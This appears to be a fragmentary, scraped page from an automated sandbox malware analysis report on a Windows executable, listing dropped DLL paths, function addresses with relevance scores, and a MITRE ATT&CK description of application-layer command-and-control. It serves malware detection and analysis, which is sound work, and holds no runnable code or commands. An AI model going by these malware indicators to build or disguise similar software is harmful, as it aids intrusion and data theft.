C:\Users\user\AppData\LocalLow\sqlite3.dll

C:\Users\user\AppData\LocalLow\vcruntime140.dll

Static File Info

General

File Icon

Windows Analysis Report
xGSkelSjdu.exe

Function 00401FE0 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 500
librarymemoryloaderCOMMON

Function 0040DF7B Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 157
COMMON

Function 0041141D Relevance: 6.0, APIs: 4, Instructions: 34
COMMONLIBRARYCODE

Function 00408CFE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
COMMON

Function 00408D6B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53
COMMON

Function 00417A67 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Function 00402F90 Relevance: 1.8, APIs: 1, Instructions: 507
COMMON

Function 0040A970 Relevance: 1.7, APIs: 1, Instructions: 192
COMMON

Function 0041876A Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Function 00417C83 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Function 004168BD Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Function 0041AEA0 Relevance: 66.4, APIs: 44, Instructions: 432
COMMONLIBRARYCODE

Function 0041C14B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 142
COMMON

Function 0041C12D Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96
COMMON

Function 0041BBD4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43
COMMON

Function 00411A9A Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Function 0041C06E Relevance: 6.0, APIs: 4, Instructions: 36
COMMON

Function 0041C0D5 Relevance: 4.5, APIs: 3, Instructions: 21
COMMON

Function 004179D5 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 0040FD82 Relevance: .5, Instructions: 528
COMMONLIBRARYCODECrypto

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre